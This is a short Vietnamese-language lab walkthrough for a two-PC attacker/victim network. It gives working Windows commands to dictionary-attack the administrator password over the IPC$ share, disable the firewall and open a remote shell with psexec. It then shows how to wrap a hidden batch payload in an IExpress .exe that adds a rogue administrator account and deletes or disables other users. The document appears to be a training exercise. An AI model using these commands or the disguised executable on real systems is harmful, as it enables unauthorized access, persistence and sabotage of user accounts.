Attacker: PC1 (192.168.1.1/24)
Victim  : PC2 (192.168.1.2/24)


Buoc 0: 
Attacker: Tao file passwd.txt tai C:\passwd.txt (Tu dien chua cac mat khau)
Victim  : Tat tuong lua, thiet lap mat khau administrator
          >netsh advfirewall set allprofiles state off    
Buoc 1: 
Attacker: 
>For /F "tokens= 1*" %i (C:\passwd.txt) do net use \\192.168.1.2\ipc$ %i /user:administrator->Lay password cua administrator

--->Chep tap tin psexec.exe dat tai C:\psexec.exe
--->Thuc thi cau lenh:
C:\>psexec.exe \\192.168.1.2 -u administrator -p password cmd --->password da duoc racked truoc do

C:\windows\system32\> --->Dang co mat tai may Victim....

Buoc 2: Tao file *.exe thuc thi cau lenh ngam bang cong cu IEexpress wizard

 Chu y cau lenh sau : cmd.exe /c [path]\file.bat
 
Mot so lenh chay ngam trong file *.exe, vi du:

@echo off
net user user1 password123 /add
net Localgroup administrators user1 /add
net user user2 /del ---->Xoa tai khoa user2
net user user3 /active:no --->vo hieu hoa tai khoan user3

Tao file Video cho cac buoc thuc hien tren !!!!